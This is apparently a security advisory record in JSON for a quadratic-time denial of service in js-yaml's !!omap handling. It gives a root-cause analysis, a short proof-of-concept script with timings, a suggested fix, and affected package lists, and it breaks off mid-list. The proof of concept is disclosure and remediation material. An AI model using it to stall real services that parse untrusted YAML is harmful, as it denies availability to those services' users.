{"id":"GHSA-5p4m-2wfm-xmqj","aliases":["CLSA-2026-1789749920","DHI-7mfr-rzkf-wzs3-epya"],"summary":"JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported","published_at":"2026-08-06T20:27:32Z","modified_at":"2026-11-18T23:45:09.739102Z","products":[],"rating":{"severity":"high","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"priority":9.5,"details":"# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)\n\n## Summary\n\n`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear\nscan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution\n**O(n²)** in the number of entries. A modestly sized YAML document therefore\nconsumes disproportionate CPU inside `yaml.load()`, giving a denial of service\nagainst any consumer that parses untrusted YAML.\n\n`!!omap` is registered in the **default schema**\n(`lib/schema/default.js` → `require('../type/omap')`), so a plain\n`yaml.load(untrustedInput)` with no options is affected — no custom schema or\nnon-default configuration is required.\n\n**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was\nfixed in the 5.x line in 5.2.1. That fix was never backported: both currently\nmaintained legacy lines still carry the original implementation.\n\n## Affected versions\n\n| Line | Latest tested | Status |\n|---|---|---|\n| 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |\n| 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |\n| 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |\n\nBoth figures are the newest release of each line at the time of writing, so\nthis is not a \"you are on an old version\" issue.\n\n## Details\n\n`lib/type/omap.js` (js-yaml 4.3.0):\n\n```js\nif (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)\nelse return false\n```\n\n`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a\nlinear scan, so resolving an `n`-entry `!!omap` performs roughly\n`1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously\ninside `yaml.load()`, blocking the event loop for its whole duration.\n\nThe 5.x line already solves exactly this by tracking seen keys in a `Set`\n(`src/tag/sequence/omap.ts`):\n\n```ts\nif (carrier.seen.has(key)) return 'duplicate key in ordered map'\ncarrier.seen.add(key)\n```\n\n## Proof of concept\n\n```js\n// poc.js  —  node poc.js\nconst yaml = require('js-yaml');\nconst doc = n => '!!omap\\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\\n') + '\\n';\n\nfor (const n of [10000, 20000, 40000, 80000]) {\n  const d = doc(n), t = Date.now();\n  yaml.load(d);                      // default schema, no options\n  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);\n}\n```\n\n### Measured (node v20.20.2, default heap, no flags)\n\n**js-yaml 4.3.0**\n\n```\nn=10000  bytes=137787   load=54ms\nn=20000  bytes=297787   load=169ms\nn=40000  bytes=617787   load=646ms\nn=80000  bytes=1257787  load=2607ms\n```\n\n**js-yaml 3.15.0**\n\n```\nn=10000  bytes=137787   load=53ms\nn=20000  bytes=297787   load=166ms\nn=40000  bytes=617787   load=641ms\nn=80000  bytes=1257787  load=2567ms\n```\n\nRuntime grows by a factor of ~4 for each doubling of `n`, which is the\nsignature of O(n²) (linear growth would be ~2×).\n\nScaling further: a **2.48 MB** document with 150,000 entries blocked\n`yaml.load()` for **10.8 seconds**.\n\n## Impact\n\nAny service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be\nstalled with a small input. Because the loop is synchronous, a single request\nblocks the Node.js event loop and stalls every other request in the process —\nso the amplification is per-process, not just per-request.\n\nSuggested severity: consistent with **CVE-2026-59870** (the same weakness in\n5.x), i.e. Availability-only impact, network attack vector, no privileges or\nuser interaction required.\n\n## Suggested fix\n\nMirror the 5.x fix — replace the linear scan with a `Set`:\n\n```js\n// lib/type/omap.js\nconst seen = new Set()\n// ...\nif (seen.has(pairKey)) return false\nseen.add(pairKey)\n```\n\nThis preserves the existing duplicate-key rejection semantics exactly while\nmaking resolution O(n). A `maxOmapLength`-style cap would also work, but the\n`Set` matches what 5.x already ships and requires no new option.\n\n## References\n\n- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1\n- `lib/type/omap.js` (3.x, 4.x) — the affected resolver\n- `lib/schema/default.js` — registers `!!omap` in the default schema\n\n## Discovery\n\nFound by an automated static-analysis and executed-proof-of-concept scanner run\nagainst js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by\nexecuting the proof of concept above. All timings in this report were measured\non the **current** releases of each line, not on the version originally scanned.","affected_stack":[],"affected_other":[{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea","purl":"pkg:apk/dhi/gitea","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea-dev","purl":"pkg:apk/dhi/gitea-dev","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea-fips","purl":"pkg:apk/dhi/gitea-fips","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea-fips-dev","purl":"pkg:apk/dhi/gitea-fips-dev","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"jupyterhub-k8s-singleuser-sample","purl":"pkg:apk/dhi/jupyterhub-k8s-singleuser-sample","versions":["4.4.5-r0","4.4.5-r1","4.4.5-r2","4.4.5-r3","4.4.5-r4"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"jupyterhub-k8s-singleuser-sample-fips","purl":"pkg:apk/dhi/jupyterhub-k8s-singleuser-sample-fips","versions":["4.4.5-r0","4.4.5-r1","4.4.5-r2","4.4.5-r3","4.4.5-r4"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"karma","purl":"pkg:apk/dhi/karma","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"karma-dev","purl":"pkg:apk/dhi/karma-dev","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"karma-fips","purl":"pkg:apk/dhi/karma-fips","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"karma-fips-dev","purl":"pkg:apk/dhi/karma-fips-dev","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"datahub-ingestion","purl":"pkg:deb/dhi/datahub-ingestion","versions":["1.5.0.7-0","1.6.0.1-0","1.6.0.1-1","1.6.0.1-2","1.6.0.1-3","1.6.0.2-0","1.6.0.2-1","1.7.0.10-0","1.7.0.12-0","1.7.0.13-0","1.7.0.14-0","1.7.0.14-1","1.7.0.14-2","1.7.0.16-0","1.7.0.16-1","1.7.0.17-0","1.7.0.17-1","1.7.0.17-2","1.7.0.17-3","1.7.0.18-0","1.7.0.19-0","1.7.0.19-1","1.7.0.19-2","1.7.0.19-3","1.7.0.19-4","1.7.0.19-5","1.7.0.19-6","1.7.0.20-6","1.7.0.20-7"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"jupyterhub-k8s-singleuser-sample","purl":"pkg:deb/dhi/jupyterhub-k8s-singleuser-sample","versions":["4.4.5-0","4.4.5-1","4.4.5-2","4.4.5-3"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"jupyterhub-k8s-singleuser-sample-fips","purl":"pkg:deb/dhi/jupyterhub-k8s-singleuser-sample-fips","versions":["4.4.5-0","4.4.5-1","4.4.5-2","4.4.5-3"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"qdrant","purl":"pkg:deb/dhi/qdrant","versions":["1.18.3-0","1.18.3-1","1.18.3-2","1.19.0-0","1.19.0-1","1.19.0-2","1.19.0-3","1.19.0-4","1.19.0-5","1.19.0-6","1.19.1-1","1.19.1-2","1.19.1-3","1.19.1-4","1.19.1-5","1.19.1-6","1.19.1-7","1.19.2-0","1.19.2-1","1.19.2-2","1.20.0-0","1.20.0-1","1.20.0-2","1.20.0-3","1.20.0-4","1.20.0-6","1.20.0-7","1.20.0-8","1.20.1-0","1.20.2-0","1.20.2-1","1.20.2-2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.7.0-tuxcare.0"},{"fixed":"3.7.0-tuxcare.1"}]}],"versions":["3.7.0"],"fixed":["3.7.0-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1774570935","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.14.1-tuxcare.0"},{"fixed":"3.14.1-tuxcare.1"}]}],"versions":["3.14.1"],"fixed":["3.14.1-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1781484837","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.14.2-tuxcare.0"},{"fixed":"3.14.2-tuxcare.1"}]}],"versions":["3.14.2"],"fixed":["3.14.2-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1784682988","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.3.0-tuxcare.0"},{"fixed":"4.3.0-tuxcare.1"}]}],"versions":["4.3.0"],"fixed":["4.3.0-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1789749920","relation":"self"},{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0-tuxcare.0"},{"fixed":"4.2.0-tuxcare.1"}]}],"versions":["4.2.0"],"fixed":["4.2.0-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1790522263","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.13.1-tuxcare.0"},{"fixed":"3.13.1-tuxcare.1"}]}],"versions":["3.13.1"],"fixed":["3.13.1-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1790963665","relation":"upstream"},{"ecosystem":"npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.15.1"}]}],"fixed":["3.15.1"],"provider":"osv","source":"GHSA-5p4m-2wfm-xmqj","relation":"self"},{"ecosystem":"npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.3.1"}]}],"fixed":["4.3.1"],"provider":"osv","source":"GHSA-5p4m-2wfm-xmqj","relation":"self"}],"product_status":[],"records":[{"provider":"osv","source_id":"CLSA-2026-1774570935","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1774570935","published_at":"2026-08-04T14:52:15Z","modified_at":"2026-10-15T09:47:04.3742Z","summary":"TuxCare security update for js-yaml (5 CVEs)","details":"TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.7.0-tuxcare.1.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.7.0-tuxcare.0"},{"fixed":"3.7.0-tuxcare.1"}]}],"versions":["3.7.0"],"fixed":["3.7.0-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1774570935","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1781484837","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1781484837","published_at":"2026-08-04T14:52:37Z","modified_at":"2026-10-15T09:47:51.285258Z","summary":"TuxCare security update for js-yaml (3 CVEs)","details":"TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.1-tuxcare.1.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.14.1-tuxcare.0"},{"fixed":"3.14.1-tuxcare.1"}]}],"versions":["3.14.1"],"fixed":["3.14.1-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1781484837","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1784682988","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1784682988","published_at":"2026-08-04T14:52:46Z","modified_at":"2026-10-15T09:47:54.190339Z","summary":"TuxCare security update for js-yaml (3 CVEs)","details":"TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.2-tuxcare.1.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.14.2-tuxcare.0"},{"fixed":"3.14.2-tuxcare.1"}]}],"versions":["3.14.2"],"fixed":["3.14.2-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1784682988","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1790522263","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1790522263","published_at":"2026-09-27T15:17:43Z","modified_at":"2026-10-15T09:47:38.123495Z","summary":"TuxCare security update for js-yaml (2 CVEs)","details":"TuxCare rebuilt js-yaml to address 2 CVEs. Fixed in 4.2.0-tuxcare.1.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0-tuxcare.0"},{"fixed":"4.2.0-tuxcare.1"}]}],"versions":["4.2.0"],"fixed":["4.2.0-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1790522263","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1790963665","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1790963665","published_at":"2026-10-02T17:54:25Z","modified_at":"2026-10-15T09:47:38.645562Z","summary":"TuxCare security update for js-yaml (5 CVEs)","details":"TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.13.1-tuxcare.1.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.13.1-tuxcare.0"},{"fixed":"3.13.1-tuxcare.1"}]}],"versions":["3.13.1"],"fixed":["3.13.1-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1790963665","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1789749920","relation":"self","url":"https://osv.dev/vulnerability/CLSA-2026-1789749920","published_at":"2026-09-18T16:45:20Z","modified_at":"2026-10-15T09:47:56.122501Z","summary":"TuxCare security update for js-yaml (1 CVE)","details":"TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.3.0-tuxcare.1.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.3.0-tuxcare.0"},{"fixed":"4.3.0-tuxcare.1"}]}],"versions":["4.3.0"],"fixed":["4.3.0-tuxcare.1"],"provider":"osv","source":"CLSA-2026-1789749920","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DHI-7mfr-rzkf-wzs3-epya","relation":"self","url":"https://osv.dev/vulnerability/DHI-7mfr-rzkf-wzs3-epya","license":"Apache-2.0","published_at":"2026-11-14T15:10:51Z","modified_at":"2026-11-18T23:45:09.739102Z","summary":"# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)","details":"# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)\n\n## Summary\n\n`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear\nscan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution\n**O(n²)** in the number of entries. A modestly sized YAML document therefore\nconsumes disproportionate CPU inside `yaml.load()`, giving a denial of service\nagainst any consumer that parses untrusted YAML.\n\n`!!omap` is registered in the **default schema**\n(`lib/schema/default.js` → `require('../type/omap')`), so a plain\n`yaml.load(untrustedInput)` with no options is affected — no custom schema or\nnon-default configuration is required.\n\n**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was\nfixed in the 5.x line in 5.2.1. That fix was never backported: both currently\nmaintained legacy lines still carry the original implementation.\n\n## Affected versions\n\n| Line | Latest tested | Status |\n|---|---|---|\n| 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |\n| 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |\n| 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |\n\nBoth figures are the newest release of each line at the time of writing, so\nthis is not a \"you are on an old version\" issue.\n\n## Details\n\n`lib/type/omap.js` (js-yaml 4.3.0):\n\n```js\nif (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)\nelse return false\n```\n\n`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a\nlinear scan, so resolving an `n`-entry `!!omap` performs roughly\n`1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously\ninside `yaml.load()`, blocking the event loop for its whole duration.\n\nThe 5.x line already solves exactly this by tracking seen keys in a `Set`\n(`src/tag/sequence/omap.ts`):\n\n```ts\nif (carrier.seen.has(key)) return 'duplicate key in ordered map'\ncarrier.seen.add(key)\n```\n\n## Proof of concept\n\n```js\n// poc.js  —  node poc.js\nconst yaml = require('js-yaml');\nconst doc = n => '!!omap\\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\\n') + '\\n';\n\nfor (const n of [10000, 20000, 40000, 80000]) {\n  const d = doc(n), t = Date.now();\n  yaml.load(d);                      // default schema, no options\n  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);\n}\n```\n\n### Measured (node v20.20.2, default heap, no flags)\n\n**js-yaml 4.3.0**\n\n```\nn=10000  bytes=137787   load=54ms\nn=20000  bytes=297787   load=169ms\nn=40000  bytes=617787   load=646ms\nn=80000  bytes=1257787  load=2607ms\n```\n\n**js-yaml 3.15.0**\n\n```\nn=10000  bytes=137787   load=53ms\nn=20000  bytes=297787   load=166ms\nn=40000  bytes=617787   load=641ms\nn=80000  bytes=1257787  load=2567ms\n```\n\nRuntime grows by a factor of ~4 for each doubling of `n`, which is the\nsignature of O(n²) (linear growth would be ~2×).\n\nScaling further: a **2.48 MB** document with 150,000 entries blocked\n`yaml.load()` for **10.8 seconds**.\n\n## Impact\n\nAny service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be\nstalled with a small input. Because the loop is synchronous, a single request\nblocks the Node.js event loop and stalls every other request in the process —\nso the amplification is per-process, not just per-request.\n\nSuggested severity: consistent with **CVE-2026-59870** (the same weakness in\n5.x), i.e. Availability-only impact, network attack vector, no privileges or\nuser interaction required.\n\n## Suggested fix\n\nMirror the 5.x fix — replace the linear scan with a `Set`:\n\n```js\n// lib/type/omap.js\nconst seen = new Set()\n// ...\nif (seen.has(pairKey)) return false\nseen.add(pairKey)\n```\n\nThis preserves the existing duplicate-key rejection semantics exactly while\nmaking resolution O(n). A `maxOmapLength`-style cap would also work, but the\n`Set` matches what 5.x already ships and requires no new option.\n\n## References\n\n- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1\n- `lib/type/omap.js` (3.x, 4.x) — the affected resolver\n- `lib/schema/default.js` — registers `!!omap` in the default schema\n\n## Discovery\n\nFound by an automated static-analysis and executed-proof-of-concept scanner run\nagainst js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by\nexecuting the proof of concept above. All timings in this report were measured\non the **current** releases of each line, not on the version originally scanned.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"DHI-7mfr-rzkf-wzs3-epya"}],"affected":[{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea","purl":"pkg:apk/dhi/gitea","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea-dev","purl":"pkg:apk/dhi/gitea-dev","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea-fips","purl":"pkg:apk/dhi/gitea-fips","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitea-fips-dev","purl":"pkg:apk/dhi/gitea-fips-dev","versions":["1.26.4-r1","1.27.0-r1","1.27.0-r2","1.27.1-r0","1.27.1-r1","1.27.1-r2","1.27.1-r3","1.27.2-r0","1.27.2-r1","1.27.2-r2","1.27.2-r3","1.27.2-r4","1.27.3-r0","1.27.3-r1","1.27.3-r10","1.27.3-r11","1.27.3-r12","1.27.3-r13","1.27.3-r14","1.27.3-r15","1.27.3-r16","1.27.3-r17","1.27.3-r18","1.27.3-r19","1.27.3-r2","1.27.3-r20","1.27.3-r3","1.27.3-r4","1.27.3-r5","1.27.3-r7","1.27.3-r8","1.27.3-r9","28.3.0-r0","28.3.0-r1","28.3.0-r2","28.3.0-r3","28.3.0-r4","28.4.0-r0"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"jupyterhub-k8s-singleuser-sample","purl":"pkg:apk/dhi/jupyterhub-k8s-singleuser-sample","versions":["4.4.5-r0","4.4.5-r1","4.4.5-r2","4.4.5-r3","4.4.5-r4"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"jupyterhub-k8s-singleuser-sample-fips","purl":"pkg:apk/dhi/jupyterhub-k8s-singleuser-sample-fips","versions":["4.4.5-r0","4.4.5-r1","4.4.5-r2","4.4.5-r3","4.4.5-r4"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"karma","purl":"pkg:apk/dhi/karma","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened 